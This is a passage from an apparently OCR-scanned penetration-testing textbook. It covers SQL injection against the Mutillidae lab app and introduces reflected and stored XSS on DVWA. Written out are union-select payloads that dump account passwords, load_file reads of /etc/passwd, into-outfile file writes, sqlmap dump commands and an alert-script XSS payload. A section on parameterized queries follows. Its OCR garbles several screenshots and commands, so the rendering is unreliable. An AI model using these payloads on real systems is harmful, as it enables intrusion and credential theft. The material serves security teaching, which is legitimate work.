in. As we can see in the following code, select * from accounts where S$USERNAME is
what we put in the username field, and $PASSWORD is what we put in the password field:

select * from accounts where username = 'S$USERNAME' and
password="'$PASSWORD'

Now we're going to see a different way of exploiting this kind of vulnerability. In the
previous section, we were doing it using a POST textbox, so whatever you put in the textbox
was being posted to the web application using a POST method. Now, these vulnerabilities
can exist in the GET method too, and what we mean by GET is that, when something is sent
using GET, we will see it in the URL. So, if we look at the following URL, we see it's being
sent as username=zaid&password= 123456:

I htipe//10.2 er-info.php = | | hitpo/f10.2. nt+Details = | #
“= A 10.20.14. 204
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Copy the URL and we will start playing with it from the URL instead of on the web page.
We just want to show a different example, because in many places there might not even be
textboxes. It could be something such as news . php. In our example, it's index.php, and in
our pen testing, you might see something such as news.php and id=2, and then we can try
to inject it in there. So, we're going to be injecting things into the username field, and we
will enter information in the URL. When we are doing our pen test, any time we see
parameters such as username and password, we should try to inject them; any time we see
something.php and then we have a parameter that equals something, always try to inject
it in there and see if it works for us.

We've also seen a way of discovering the injection using a quotation mark and

an and statement. So we do a false and, and a true and, and 1=1, and then and 1=2, and if
the server executes what we want, we're going to know there's an SQLi. We are going to see
another way of discovering these exploits, by using the order by statement. The order

by statement is used to limit the amount or the number of records that are going to be
displayed onscreen. Our injection is going to do order by 1.If the injection exists, this
should work because order by 1.There should be at least one record being selected in the
page because we know this page is communicating with the database. So, order by 1
should always work and return true or something we expect. We also need to add the
comment and execute a code, so it's exactly as before. Basically what's going to happen on
the database is that the code that will be executed on it will look as follows:

select * from accounts where username = 'zaid' order by 1#'
password="'$PASSWORD'

The command for the URL will be as follows:

index.php?page=user—-info.php&username=zaid' order by
l#spassword=123456&user—-info-php-submit-button=View+Account+Details

For this example, it's going to be select * from accounts where username =
'zaid', and note how a single quote (') ends the statement; we're going to do order by

1. The comment will tell the SQL interpreter to ignore anything that comes in after it, which
is all of commands after hashtag (#). Copy the preceding code and paste it in the Name
textbox of the login page. This will work, but we are just looking at a different way of doing
it by injecting it through the browser. Another thing to note is that, when we are injecting
stuff into the browser, the code should be encoded so, for example, the hashtag (#) sign
should be written as %$23. Spaces, for example, get converted to $20, and %23 is the
comment that we're using, so we are going to copy that and replace our comment sign with
it in the URL space. So, the URL changes to the following;:

index.php?page=user—-info.php&username=zaid' order by
1%23&password=123456&user-info-php-submit-button=View+Account+Details
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Paste the URL in the address bar and hit Enter, and we will something that's acceptable.
Then it will show us the information about zaid, 123456, and and also the Signature, so it is
ignoring the password, so the injection worked—it's ordering by 1, so it's not showing any

error:

& 10.20.14 304 B B 3 & B

%205t Visted v [JOMenaive Securty W Kall Uinux W, Kall Docs W Kali Tools = Explot-D8 WAmcrack-ng FJ Velnerabiity & Explot

Q}@ Mutillidae: Born to be Hacked

Hints: Disabled (0 - | try harder) Mot Logged In

View Captizred Data

Version: 2.1.19 Security Level: 0 (Hosad)

Home  LoginRegister  Toggle Mints  Toggle Securily  Heset DB View Log

View your details

e

L = i Back
Please enter username and password |

| to view account details
Name
Password

==

Site WView Account Details
hacked...err. lity
tested with Samurai Dont have an accound? Please register here
WTF, Backtrack,
Firafox. Burp-Suite. | Resuits for . 1 records found.
Meteat, and these
Mozilla Add-ons Username=zaid
Password=123456
Signature=aa

Let's try to make 1 a very large number, for example, we can put 10000 or 100000 in the
URL section. It will show us 1000000 records on the login page. The chances are the page
will not display 1000000 records and there aren't 1000000 records in the database, so
when we execute it, we will see that there is an error. The error is in the order clause and
there is an Unknown column for 1000000:

| View your details

%

C\:i Back

Please enter username and password I
to view account details |

Name

Password
—_—————————— =
| View Account Details

Dont have an account? Please register here

Error: Failure is always an option and this situation proves it

Line 126
Codea :0
File _.'uar!www:mu:illinwuar—Infn.nnp
Message :Errw executing query: Unknown column 1000000 in ‘order clause’
Trace #0 fvarfervewimutillideefindex. php(469): include() £1 {main}

Dilagnotic Information SELECT * FROM accounts WHERE username="zaid" order by 1000000#° AND password="123456"
Did you setup/reset the DB?
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So, there aren't 1000000 columns in the database, and this is great because now we know
that the database is executing what we want. So, when we told it to show 1 record, it show
us one record, and when we told it to showed us a very large number of records, it
complained about that, so it's obviously vulnerable to SQL injections.

Basic SELECT statements

Let's try to determine how many columns are being selected into page in the preceding
screenshot. How much information is being selected and displayed on the login page that
we got when we fired the query in the previous section? To do that, we're going to use the
order by statement. We used order by 1 in the preceding section and that returned
something acceptable, and order by 1000000 gave us an error, so let's try order by 10;
we will see that we still get an error.

Try an order by 5 and we will see whether that it works. By performing this, we know
that there are five columns being selected from a certain table, and it's the accounts table,
which is then displayed on the login page. Let's build our own select statement and get it
executed on the target computer. At the moment, the statement is Select * from
accounts where username = 'zaid' and we're doing order by 1.Let's see whether
we can fix that and get it to select something that we like. As we are trying to do multiple
select statements and we're trying to do it from the URL, we're going to have to use a
union and then we're going to say select. In this web application, we know that there are
five records being selected, so there are five columns that are being selected, so we're doing
1,2,3,4,5;let's run the command in the URL and see what happens:

index.php?page=user—-info.php&username=zaid' union select
1,2,3,4,5%23&password=123456&user-info-php-submit-
button=View+Account+Details
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We can see that the selection was right and we got the first selection:

Please enter username and password
to view account details

Name

Password

View Account Details

Dont have an account? Please register here

Results for . 2 records found.

Username=zaid
Password=123456
Signature=aa

Username=2
Password=3
Signature=4

This line has done the first selection and then it did union, so it combined that selection
with another selection and it showed us something else. As we can see in the preceding
screenshot, we're only seeing 2, 3, and 4, which means that whatever value we enter instead
of 2, 3, or 4, or whatever we want to select. Is going to be displayed in the page if we put
it in the URL, and we can see that we have results for 2, so whatever you put in 2 will also
be shown in the page.

So, let's try to see our database. Instead of 2 we're going to say database, instead of 3
we're going to say username or user, and instead of 4 we're going to do version; this will
select the current database, the current user privileges that we have, and the version of
the database. So, let's execute the following command:

union select 1,database(),user(),version(),5
The URL command changes as follows:
index.php?page=user-info.php&username=zaid' union select

1,database(),user(),version(),5%23&password=123456&user-info-php-submit-
button=View+Account+Details
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The output of the command is in the following screenshot:

Please enter username and password
to view account details

Name

Password

View Account Details

Dont have an account? Please register here

Results for . 2 records found.

Username=zaid
Password=123456
Signature=aa

Username=owaspl0
Password=root@localhost
Signature=5.0.51a-3ubuntus

The Username is showing up as owasp10 and 2, so owasp is the database that we're
looking for. The current user that we're logged in as is root@localhost, so we're the root
user. We injected the version and we can see this is the version of MySQL, so it's 5.0.51. We
know that the database we're connected to is owasp10. In most real-world scenarios, each
database is assigned to a certain user, so you're usually only able to select details, tables,
columns, and data located in this current database. However, we are logged in as root

and the web application has been connected to the database as root, so we can access other
databases, but this doesn't happen in real-world scenarios. Usually each user has their own
database, so when they connect a web application to a database, they connect it to one
database and therefore you won't to be able to access other databases. So, we're going to
imagine that we only have access to owasp10, which is our current database for this current
website, and that the password is root@localhost.

In the next section, we'll see how we can further exploit SQL injections and perform more
powerful select statements.
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Discovering tables

Now that we know our target database is called owasp10, let's try to discover the tables
that exist in that database. So, our select statementis union select 1,

database () ,user (), version(), 5. Delete user () and version (), or change it to null
because we only want to select one thing now, and in 2, we're going to select
table_name from the information_schema database. We know that
information_schema is a default database created by MySQL and it contains information
about all the other databases. We select table_name from information_schema. and
after the dot, we put tables. Basically, we're selecting a table called tables from a
database called information_schema, and the column that we're selecting is called
table_name, so we are selecting table_name from the information_schema database
from the tables table. The command is as follows:

union select 1,table_name,null,null,5 from information_schema.tables

The URL command changes as follows:

index.php?page=user—-info.php&username=zaid' union select
1,table_name,null,null,5 from
information_schema.tables%$23&password=123456&user—-info-php-submit-
button=View+Account+Details

Execute the command to see whether we can get all the tables that exist in the owasp10
database. We can see that we got 237 records; following are all the tables that we have
access to:
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| Results for . records found.

Username=zaid
Password=123456
Signature=aa

Username=CHARACTER_SETS
Password=
Signature=

Username=COLLATIONS
Password=
Signature=

Username=COLLATION_CHARACTER_SET_APPLICABILITY
Password=
Signature=

Username=COLUMNS
Password=
Signature=

Username=COLUMN_PRIVILEGES
Password=
Signature=

Username=KEY_COLUMMN_USAGE
Password=
Signature=

Username=PROFILING
Password=
Signature=

We are logged in as root, therefore, we can see tables from other web applications, such as
tikiwiki, but in real-world scenarios, we'll only see tables related to the current database,
which is Mutillidae.

Now we are going to use a where clause and say where table_schema = 'owaspl0'.
We got the owasp10 databases when we executed the command, so we got owasp10, which
is the current database that Mutillidae is working on. We're using the same statement: we're
selecting table_name from the information_schema table where table_schema is
owasp10. The command is as follows:

union select 1,table_name,null,null,5 from information_schema where
table_schema = 'owasplO'

The URL command changes as follows:

index.php?page=user-info.php&username=zaid' union select
1,table_name,null,null,5 from information_schema where
table_schema='owaspl0'$23&password=123456&user-info-php-submit-
button=View+Account+Details
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Execute it and, as we can see in the following screenshot, we only have the tables that we're
interested in:

| Results for . 7 records found.

Username=zaid
Password=123456
Signature=aa

Username=accounts
Password=
Signature=

Usernames=blogs table
Password=
Signature=

Username=captured_data
Password=
Signature=

Username=credit_cards
Password=
Signatura=

Username=hitlog
Password=
Signatura=

Username=pen_test_tools
Password=
Signatura=

We have the accounts, blogs_table, captured_data, credit_cards, hitlog, and
pen_test_tools tables. Now, in the What is SQL? section, we saw the content of the
owasp1l0 table and the preceding screenshot also shows the same tables of the owasp
database.

Reading columns and their data

In this section, lets see whether we can select and have a look at all the details that exist
within the accounts table. Let's see whether we can query the database and read the
information stored in the accounts table. To do that, we need to know the names of the
columns that exist within the accounts table because, if we look at the way we're using
our statement, we're performing union select table_name from
information_schema.tables, so we still don't know what columns exist in

the accounts table. We can guess that there is a username and a password, but sometimes
they could have different names, so we're going to see how we can select the columns for
a certain table.
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The command is going to be very similar to the tables command we used in the preceding
section, the only difference is instead of table_name, we're going to type column_name,
and instead of selecting it from information_schema.tables, we're going to select it
from information_schema.columns. We're going to type where table_name =
'accounts', because we're only interested in the accounts table. If we wanted to get
columns for another table, we just substitute accounts with the required table, or column,
that we want. So, our command is going to be as follows:

union select 1,column_name from information_schema.columns where table_name
= 'accounts'

The URL command changes to the following:

index.php?page=user-info.php&username=zaid' union select 1,column_name from
information_schema.columns where table_name =
'accounts'%$23&password=123456&user-info-php-submit—
button=View+Account+Details

The command should show us all the columns that exist within the accounts table. Run
the command and, once we execute it in the address bar, we will see the same columns that
we saw before when we saw the structure of the account s database at the start of this
chapter, and its cid, username, password, mysignature, and is_admin columns, as
shown in the following screenshot:

| Results for . 6 records found.

Username=zaid
Password=123456
Signature=aa

Username=cid
Password=
Signature=

Username=username
Password=
Signature=

Username=password
Password=
Signature=

Username=mysignature
Password=
Signature=

Username=is_admin
Password=
Signatura=
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Let's take this one step further and select the usernames and passwords columns from
the accounts table. So, again, the command is going to be very similar to what we're
running at the moment:

union select 1,usernames,passwords,is_admin,5 from accounts

Now, remember, we can't select anything instead of 1 and 5 in the command because they
never displayed for us on the screen. The only thing that displayed were 2, 3, and 4, so
we're only substituting values for 2, 3, and 4. Our URL command changes to the following:

index.php?page=user—-info.php&username=zaid' union select
1,usernames, passwords, is_admin,5 from accounts%$23&password=123456&user—
info-php-submit-button=View+Account+Details

We're selecting username, password, and is_admin columns from the

accounts database, and it should return all the usernames and passwords that exist within
the accounts table. As we can see in the following screenshot, we got all the usernames
and passwords:

| Results for . 1B records found.

Usarnames=zaid
Password=123456
Signature=aa

Usarname=admin
Password=adminpass
Signature=TRUE

Username=adrian
Password=somepassword
Signature=TRUE

Username=john
Password=monkey
Signature=FALSE

Username=jeremy
Password=password
Signature=FALSE

Username=bryce
Password=password
Signature=FALSE

Username=samurai
Password=samurai
Signature=FALSE
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We have the admin, and the password is adminpass; we also have other usernames and
their passwords. This is very useful because, on most websites, when we log in as admin,
we have more privileges than a normal person, and then we have to be able to upload PHP
shells or backdoors, viruses, whatever we want, and then further exploit the system. So, at
the moment, we can actually log in with the admin username and the adminpass
password, and it's going to accept that because it's correct. No matter how complicated the
password, we're just going to be logged in because we're reading the password straight
from the database.

Reading and writing files on the server

In this section, we will look at how we can use SQLi to read any file in the server. So, even if
the file exists outside the /www directory, we'll be able to read it exactly as with a file-
disclosure vulnerability, and we'll see how we can use it to write files and upload them to
the system, just as with a file-upload vulnerability.

First, let's take a look at reading the file; we are going to set everything to null. So, our
statement is going to be as follows:

union select null,load_file('/etc/passwd'), null,null, null

Instead of selecting a column or a table, we want to run a function called 1oad_file (),
and we are going to set the file that we want to load. We're going to use the same file that
we had a look at in the file-inclusion vulnerability, which was /etc/passwd. The URL
command is as follows:

index.php?page=user—-info.php&username=zaid' union select
null,load_file('/etc/passwd'),null,null,null%23&password=123456&user—info-
php-submit-button=View+Account+Details
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Running the preceding URL, we can see from the following screenshot that we managed to
read all the information and all the content of /etc/passwd file, even though it's not in the
web root:

| Results for . 2 records found.

Username=admin
Password=adminpass
Signature=Monkey!

0:root:/roct:fbinfbash daemon:x:1:1:daemeon:fusr/shin:/bin/sh bin:x:2:2:bin
[binfsync games:x:5:60:games:/usr/g binfsh man:x:6:12:man:/var/cachejman:/bin/sh Ipix:7:
naws 8 9:naws:/var/spoolinaws: fbinfsh uuecpi:10:10:uuep:fvar/spoolfuucp:/bin/sh prowy13
backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/varflist-fbinfsh i 9:39:ired:fvar/runfired: [binfsh gnats:x:41:41:Gnats Bug-Reporting
System (admin):fvar/libjgnats:/bin/sh nobody x:65534:65534:nobody./nonexistent:/bin/sh libu :100:101::/var/libflibuuid:/bin/sh dhepix:101:102:: [nonexistent:
fbinffalse syslog:x:102:103: mome.rsyslng _rbmrfalse klog:x:103:104: Jhome/klog:./binjfalse sshd:x:1 04,6553 4. /varfrunisshd. fusrisbin/nologin
msfadmin:x:1000:1000:msfad lhom fadmin:/binfbash bind:x:105:113::fvarfcache/bind:/binffalse postfix:x:106:115::var/spocl/posthix:/binffalse
ftp:x:107:65534::/home/ftp:/bi ffal postgres:x:108:117:PostareSQL administrator,,.:/var/lib/postaresal:/binfbash mysql:x:109:118:MySQL Server,.,:fvar/libfmysal:
Ibinffalse tomecat55:x:110:65534::Jusr/shareftomcat5 5:/bin/false distced:x:111: 65534 :f-/binffalse user:x:1001:1001:just a user,111,,:/home/user; .'bln.fbash
service:x:1002:1002:,,,:/home/service:/bin/bash telnetd:x:112:120:/nonexistent:/binffalse proftpd:x:113:65534:: fvarfrun/proftpd: .imn.'false statd:x:114:65534:jvar
Nlibfnfs:/bin/falze

Password=

Signature=

Username=root:

in:/binfsh sys:x:3:3:sys:/dev:/binjsh sync:x:4:65534:sync:bin:
p:fvarfspool/ipd:{bin/sh mall:x:8:8:mall:;/varfmall:{binjsh
presty:fhinc/bin/sh www-data:x:332:32:www-data:/varfwwwi/bin/sh

It's stored in /etc/passwd, so we can read anything in the server from other websites, or
other files, by specifying the full path of that file in the 1oad_file () function.

Now, we are going write to the server. This is very useful because we will be able to write
any code we want. We can write the code for a PHP script, we can even write code for a
shell, a virus, or a PHP code to get a reverse connection—code that will basically just act
like a file-upload vulnerability. To do that, we are going to write the code that we want here
and we are going to call it example example. We're going to use a function called into
outfile, and then we're going to specify where we want to store that file. In the best-case
scenario, we will be able to write to our web root and that will mean that we can access the
file through the browser and execute it, so we can upload a Weevely file and then connect
to it. We're going to save the file in the /var/www/ directory (that's our web root) so we'll
be able to access things through it, or you can put it in the /var/www/mutillidae
directory. Make sure you set everything to null so that nothing gets written to the file
except what you put in 2, which is the example example text, and it's going to be stored
into a file in /var/www/mutillidae/example.txt. Following is the command:

union select null, 'example example',null,null,null into outfile
'/var/www/mutillidae/example.txt’'

Let's try to run the statement. The URL command is as follows:

index.php?page=user—-info.php&username=zaid' union select null, 'example
example',null,null,null into outfile
'/var/www/multillidae/example.txt'%$23&password=123456&user-info-php-submit-
button=View+Account+Details
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If we see the following screenshot, we'll know that the command didn't work because SQL
or MySQL is not allowed to create or write to the /mutillidae directory. The problem is
that we don't have permissions that allow us to write to the /mutillidae location:

| Error: Fallure Is always an optlon and this sltuation proves It

Line 1126
..... Code 0
File arfwwwimutillidae/user-info.php
Message m.r executing query: Can't createfwrite to file 'Nar.fwwwlfmutillida.elexnmﬁle.m' (Errcode: 13]
Trace Q Nan‘wwwlfmutillidaefinééx.php(%ﬁ]: include() ﬁ‘—l {main}
" Diagnetic CT* FROM accounts WHERE username="admin' union select nuil ‘example sxample’, null,nullnull into outfie Jvarwwwimutilidas

_ Information le.txt'#* AND p d="adminpass’

| Did you satup/rasat tha DB?

To test this exploit, we're going to change this location to /tmp and running the code, and
we will see that we can actually write to the /tmp directory:

Authentication Error: Bad user name or password

Please enter username and password
to view account details

Name

Password

View Account Details

Dont have an account? Please register here

In the preceding screenshot, it displays error but if we list using 1s /tmp/, we can see in
the following screenshot that we have something called example.txt.If we try to read the
file, we will see that it contains the content of our select command and the example
example text written in the file:

nsfadmnin@Prnetas |-I..ir.-hi|-. var I_JLjL-J'||||||r"|l|r'|-|r1]'||'_.- | tmp~
4594. jsvc_up example.txt test2 . txt test.txt
nsfadmin@metasploitable: - varswwwsphpHyfdm cat /tmprexample.txt

admin adminpa onkey?! TRUE
r--_.|rIJ!Jr- r--.|[1L|]|- ““N kY, | “N

We can get rid of admin and adminpass by just putting in the wrong username and
nothing will be displayed. The only thing that we will see is the output, which is example
example. Again, this is only useful if we are able to write to our web server so we can
access it, and then use our shell or our payload to further exploit the system.
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The sqglmap tool

In this section, we are going to learn about a tool called sqlmap, which allows us to do
everything we've learned so far and even more. This tool can be used against MySQL
databases, which is the one that we used in our examples. It can also be used against
Microsoft SQL, Oracle, and other databases. The tool is very useful; sometimes the
injections aren't as nice as the ones we've seen, and sometimes we only get one output for
each record and we have to loop through all the output. The tool can automate that and just
do everything for us, which is much easier and much simpler.

This is the URL that we were using for the

injection; http://10.20.14.204/mutillidae/index.php?page=user-info.php&pas
sword=aaa&user-info-php-submit-button=View+Account+Details. So, the URL is
using the user-info.php page where the username is admin, and the password

is adminpass. We don't really need to use the username and password, so we can put
anything there, just to assume that we don't know the password and we're only injecting
SQL injections. Copy the URL and insert it into the following sqlmap command:

sqlmap -u
"http://10.20.14.204/mutillidae/index.php?page=user—info.php&password=aaa&u
ser—-info-php-submit-button=View+Account+Details"

We're using the —u option to specify the URL; make sure that you put the URL between two
quotation marks so that it doesn't ignore anything between them. We have some signs and
characters in the middle that we want to be treated as one URL.

Hit Enter, and the tool will automatically look through all the parameters:
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It's going to look through user-info.php, the username, and the password, to see
whether any of them are injectable; once it does that, it's going to store it in its memory. So,
it's going to know that if anything is injectable and then we'll be able to further exploit the
target.

As we can see in the following image, it thinks that our target could be MySQL or
PostgreSQL, it's asking us whether it should skip other tests, we're going to say yes because
we know it's MySQL. Later it will ask us whether it should do all the tests for both
databases, and we are going to say yes, assuming that we are not sure which one it is, as
shown in the following screenshot:

it looks Llike Lhe back-end DBHS is 'PoslgreSOL or MySOL'. Do you wanl Lo skip Lesl payloads specilic Tor other DBHSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'PostgreSgL or MySQL® extending provided level (1) and risk (1) values? [Y/n] ¥

We know it's MySQL but we are just going to let it do its thing, and we'll see whether it can
do it properly or not. It checks whether it's PostgreSQL and we are assuming it's going to,
and then it's going to know that it's MySQL, it just found out that username seems to be
injectable, and sure enough it's telling us here that the username parameter is vulnerable
and we can inject it:

27:83] [INFD] GET parameter "username’ seems to be "MySQL »= 5.8.12 AND ti

26:27:84] [INFO] GET parameter 'username’ is 'MySQL UNTION query (
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So, it's asking us whether we want to check the other parameters, we can say yes and let it
do it, but we are going to say no because we don't mind if it just uses the username for the
injection:

GET parameter 'username’ is vulnerable. Do you want to keep testing the others (if any}7? [y/N] N

Now, sqlmap knows that the target is injectable and that it's going to use the username
parameter to inject. As we can see in the preceding screenshot, it's figured out that it's
running Linux Ubuntu, it's using PHP 5.2.4 with Apache 2.2.8, and it's using the
MySQL 5.0 server as the database server.

sqlmap is a really big tool and, in this section, we are just going to take a
quick look at some of the things it can do. I suggest you spend more time
with it and see what else it can do.
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So, let's run sglmap --help:

LUDECOL

Now let's try to get current-user and current-db, so we're going to use the same
command that we used before. We'll add to the command -~ dbs to get the current
databases:

sgqlmap -u
"http://10.20.14.204/mutillidae/index.php?page=user—info.php&password=aaa&u
ser-info-php-submit-button=View+Account+Details" --dbs

As we can see in the following screenshot, we got all the databases that we needed. There's
dvwa, information_schema, metasploit, mysqgl, owaspl0, and tikiwiki:

chema
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Now, if we run the same command replacing —-dbs with -~—current-user, we can see
that we are root:

[AO.LH 43] [IMFU] thP back- tnd DEHb is HyhuL

¥y Heron)

current

And if we replace ——current-user with ——current-db, we'll see that owasp10 is our
current database:

So, now let's try to get the tables for owasp10. We're also going to use the —~tables and D
option to specify the database, and our database is going to be called owasp10, so the
command is going to be as follows:

sqlmap -u
"http://10.20.14.204/mutillidae/index.php?page=user-info.php&password=aaa&u
ser—-info-php-submit-button=View+Account+Details" —-tables -D owasplO

As we can see in the following screenshot, the command got us all the tables that exist in
the owasp10 database, such as, accounts, blogs_table, and credit_cards tables:

[AB 30:35] [INFO] thP back- Hnd DBMS is MysqQL
: Li L y Heran)
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Now, if we want to get the columns, we can use the same command again, and we're going
tosay get ——columns from -T accounts -D owasp10. Following is the command:

sqlmap -u
"http://10.20.14.204/mutillidae/index.php?page=user-info.php&password=aaa&u
ser—-info-php-submit-button=View+Account+Details" —--columns -T accounts -D
owasplO

Following is the output of the command:

So, we have is_admin, password, and username, and we can get their data using the ——
dump option. It's the same command that we used before, so we're getting it from the
accounts table and the owasp10 database. Following is the command:

sqlmap -u
"http://10.20.14.204/mutillidae/index.php?page=user-info.php&password=aaa&u
ser-info-php-submit-button=View+Account+Details" -T accounts -D owaspl0 —-

dump
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Following is the output of the preceding command:

dline KungFu anyc

+
|
+
|
|
4 |
|
|
I
|
|
I
|
I
I
|
|
I
I
|
-+

In the preceding screenshot we have admin, its adminpass password, and we have adrian
and his password is somepassword. So, as we said, this tool is very useful. It can make our
life much easier and it does everything automatically.

Preventing SQLI

So far, we have seen that SQL injections are very dangerous; they also occur very easily and
are very easy to find. We will find them everywhere, even in really famous websites. People
try to prevent these vulnerabilities using filters. Filters can make it look like there are no
exploits, but if we actually try harder, by using different types of encoding, or a proxy, we
will be able to bypass most of these filters. Some programmers use a blacklist so, for
example, they prevent the use of union and the insert statement. Again, it's not 100%
secure, and it can be bypassed. Using a whitelist has exactly the same issues as a blacklist.
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The best way to prevent SQLi is to program our web application so that it does not allow
code to be injected into it and then executed. So, the best way to do that is to use
parameterized statements, where the data and the code are separated. Let's look at an
example, we are keeping the least amount of programming in this example. We don't want
it to be a programming example (there are actually mistakes in the programming), but we
are trying to look at the concept more than how to program it. Following is the example
code:

Stextboxl = admin' union select #
Select @ from accounts where username='admin' union select #'

The vulnerable code used Select * from accounts where username is equal to
whatever we put in textbox1, and then we putin textbox1, say admin, and then close
the quote. Then we're able to do union select and execute something else; once we're
done, we add the comment (#), which basically ignores everything that comes in after it.
The code looks like this:

Select * from accounts where username ='admin' union select #'

This is very bad and very difficult to protect against. Using filters will only hide the
problem, it will not fix it. The best way to fix the vulnerability is using parameterize
statements, as in the following example:

prepare ("Select * from accounts where username = ?")
execute (array ('textboxl1l'))

This is the safe way to do it. First, we prepare our statement. Most languages, such as
PHP, actually have a function where you can prepare ("Select * from accounts
where username = ?") and then we send the values. So, PHP now knows the SQL
statement is Select * from accounts where username is equal to something, and
then it's going to take the value of textbox1. Even if we come in and use our very sneaky
statement, which is ' $admin' union select #', and paste it in the execute function,
the web application will know that the value for textbox1 is admin union select.It
will actually try to use Select * from accounts where the username, and then it
actually will add its own quotes and try to find username with the inserted username. So,
it will be select * from accounts where username ="'Sadmin' union select#.
Therefore, whatever we put in textbox, it will be sent as a value, and the web application
will know that this should be a value not code, and it will never execute it. This will protect
us against SQL injections.
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We can use the filters as a second line of defense. It's also advised that we use the least
privilege possible. So, for each database, use one user with the least amount of privileges
required; don't allow users to do anything that they want; unless it's a simple website that
only does selection, then only allow the user to select. If they only need to select and
insert, then only allow them to select and insert; this is a rule we should keep with
everything, even with Linux systems. Make sure the permissions are always as minimal as
possible, that each user doesn't have any extra permissions they don't need.

Summary

In this chapter, we covered a vulnerability that can be exploited, which are SQL injections.
This SQLi can be used to perform a wide range of very dangerous attacks on the databases
of a machine and the server. First, we saw how we can discover these injections. We also
learned how we can log in to a system using a URL—all we had to do was launch a few
lines of code in which we had to mention the password and username. Then, we saw how
to bypass SQLi without using login credentials. We even used the GET method to discover
SQLi. After that, we learned how to fire basic select statements on a database. We even
learned how to use the sqlmap tool, which is capable of performing a lot of things, but we
only covered the basics in this chapter. Finally, we covered methods to prevent SQLi. In the
next chapter, we are going to exploit cross-site scripting vulnerabilities.
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Cross-Site Scripting
Vulnerabilities

In both this and the following chapter, we're going to study a vulnerability called cross-site
scripting (XSS) so that we know how to discover XSS vulnerabilities. But we will start off
by learning about XSS attacks and XSS vulnerabilities. Then we will exploit the reflected
vulnerability of XSS. Later, we will be looking at stored XSS, which is another vulnerability
of XSS, and also try to launch an attack. Then we will look into exploiting XSS, and at the
end of the chapter, we will learn how you can protect yourself against these vulnerabilities.

In this chapter, we will be covering the following topics:

e Introduction to XSS
Reflected XSS

Stored XSS

XSS BeEF exploitation
XSS protection

Introduction to XSS

Now let's learn more about XSS. This type of vulnerability allows an attacker to inject
JavaScript into a page. JavaScript is a programming language, and using this vulnerability,
an attacker would be able to execute code written in JavaScript into a certain page, such as a
website. JavaScript is a client-side language, so when the code is executed, it will be
executed on the client, on the user, the person who is browsing the web page. It's not going
to be executed on the server, so even if our code results in us getting a reverse shell, the
shell will be coming from the user who is browsing the page, not from the website. So any
code we write in JavaScript will be exploited or will run on the target user—on the people
who see the web pages—and not on the web server. So, the web server is only going to be
used as a means of executing or delivering the code.
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There are three main types of XSS vulnerabilities:

e Persistent or stored: Stored XSS gets stored in the database. The code that we
inject will be stored in the database or the page so that every time any person
views that page, our code will be executed.

¢ Reflected: With reflected XSS, the code will only be executed when the target
user runs a specific URL that is crafted or written by us. So we will be
manipulating some sort of URL and sending it to a target, and when the target
runs that URL, the code will be executed.

e DOM-based: DOM-based XSS results from JavaScript code that is written on the
client, so the code will actually be interpreted and run on the client side without
having any communication with the web server. This could be very dangerous
because sometimes web servers apply security and filtration measures to check
for XSS, but with DOM-based XSS, the code never gets sent to the web server.
This means that the code would be interpreted and run on the web browser
without even interacting with the web server, and will be present in websites that
update their content without refreshing. We've all used websites where we enter
our username, for example, and it loads straight away without having to check
with the web server, or perhaps we enter some sort of a string and it performs a
search without communicating with the web server; whatever the process, some
websites perform functions without communicating with their web server. If we
are able to inject into these kinds of website, then such injections will not be
validated, and they will be executed straight away and bypass all validations.

Reflected XSS

Let's learn how to discover these kinds of vulnerabilities. The method is very similar to SQL
injection. First, you browse through your target and try to inject into any textbox or URL
that looks similar. Whenever you see a URL with parameters, try to inject
something=something as parameters, or try to inject into textboxes. Let's have a look at a
reflected XSS example. These are the non-persistent, non-stored vulnerabilities where we
have to actually send the code to the target, and once the target runs the code, it will be
executed on their machine.

[504 ]



Cross-Site Scripting Vulnerabilities Chapter 21

Let's have a look at our DVWA website and log into it. Inside the DVWA Security tab on
the left-hand side of the following screenshot, we are going to set the Script Security to
low:

Home DVWA Security »

Instructions
Setup Script Security

Security Level is currently high

Brute Force
Command Execution
CSRF

File Inclusion low
SQL Injection

S EREEEE ) PHPIDS
Upload i
XSS reflected
XSS stored

y level to low, medium or high
The security level changes the vulnerability level of DVWWA

¥ Subrmit

5 (PHP-Intrusion Detection System) is a security layer for PHP based web applications

You can enable PHPIDS across this site for the duration of your session

FPHPIDS ig currently disabled. |

[ 1-[ ]
PHP Info
About

Logout

Username: admin
Security Level: high
PHPIDS: disabled
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As we can see in the following screenshot, we can enter your name in the textbox, and it's
just going to say Hello zaid:

o Vulnerability: Reflected Cross Site Scripting (XSS)

Instructions |
Setup Whal's your name?

Subrmit
Brute Force

Command Execution

CSRF

File Inclusion More info
SQL Injection

SQL Injection (Blind)

Upload

XS5 stored

DVWA Security
PHP Infe
About

Lagaut

gurn_atym:' .1-'I|r'1||'1 View Source | View Help
ecun evell low 2
PHPIDS: disabled

This is obviously just an example, but the idea is that you can inject into textboxes. Also, if
we have alook atthe URL 10.0.2.15/dvwa/vulnerabilities/xss-r/?name=zaid, we
can see that it is using the GET method, so we can inject into the URL as well. Let us start
the D-pad and try to inject XSS code on it and see whether the JavaScript code will be
executed. We are using a very simple script, the <script></script> tag. There are a lot
of ways of discovering these kinds of vulnerabilities and a lot of ways to bypass filters, but
for now, we're just having a look at a basic example where we can inject a normal script and
write <script>alert ("XSS") </script>—which is just a function that gives an alert—to
give it a textbox. Then we are going to click on Submit and see whether this code will be
executed.
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As we can see in the following screenshot, instead of saying Hello zaid, it says Hello; and
our code has been executed, and it produces a XSS popup:

XS5

oK

If we have a look at the URL 10.0.2.15/dvwa/vulnerabilities/xss-
r/?name=<script>alert ("XSS") <$2fscripts>#, we can see that it actually already did
it for us. But if we copy and paste this URL on a notepad, we can see the script in the name
parameter, and some CSS scripting.

Obviously, all of the characters are just HTML escape characters, and if we send the URL to
anybody, then the code will be executed on the machine of whoever views the URL, and it's
going to display a popup saying XSS. Let's see how we can also inject through the URL.
Just to show the whole idea, we will use the

URL 10.0.2.15/dvwa/vulnerabilities/xss-

r/?name=<script>alert ("XSS") </scripts>#. If we press Enter, the code will be
executed. We can copy the URL and send it to a certain person, and once they run that
code, the code will be executed on their machine.

Stored XSS

Now let's have a look at a stored XSS example. Stored XSS is very similar to reflected
XSS5—it allows you to inject JavaScript code into the browser. The code is executed on the
users that visit the page. The only difference is that, with reflected XSS, we have to send the
URL to our target, so the target has to actually click on a URL for the exploit to run. With
stored XSS, the code will be stored into the database—that is, into the page—so that every
time a person runs that page, they will see our code and our code will be executed, so we
won't need to interact with any users or send them anything. Therefore, this could be much
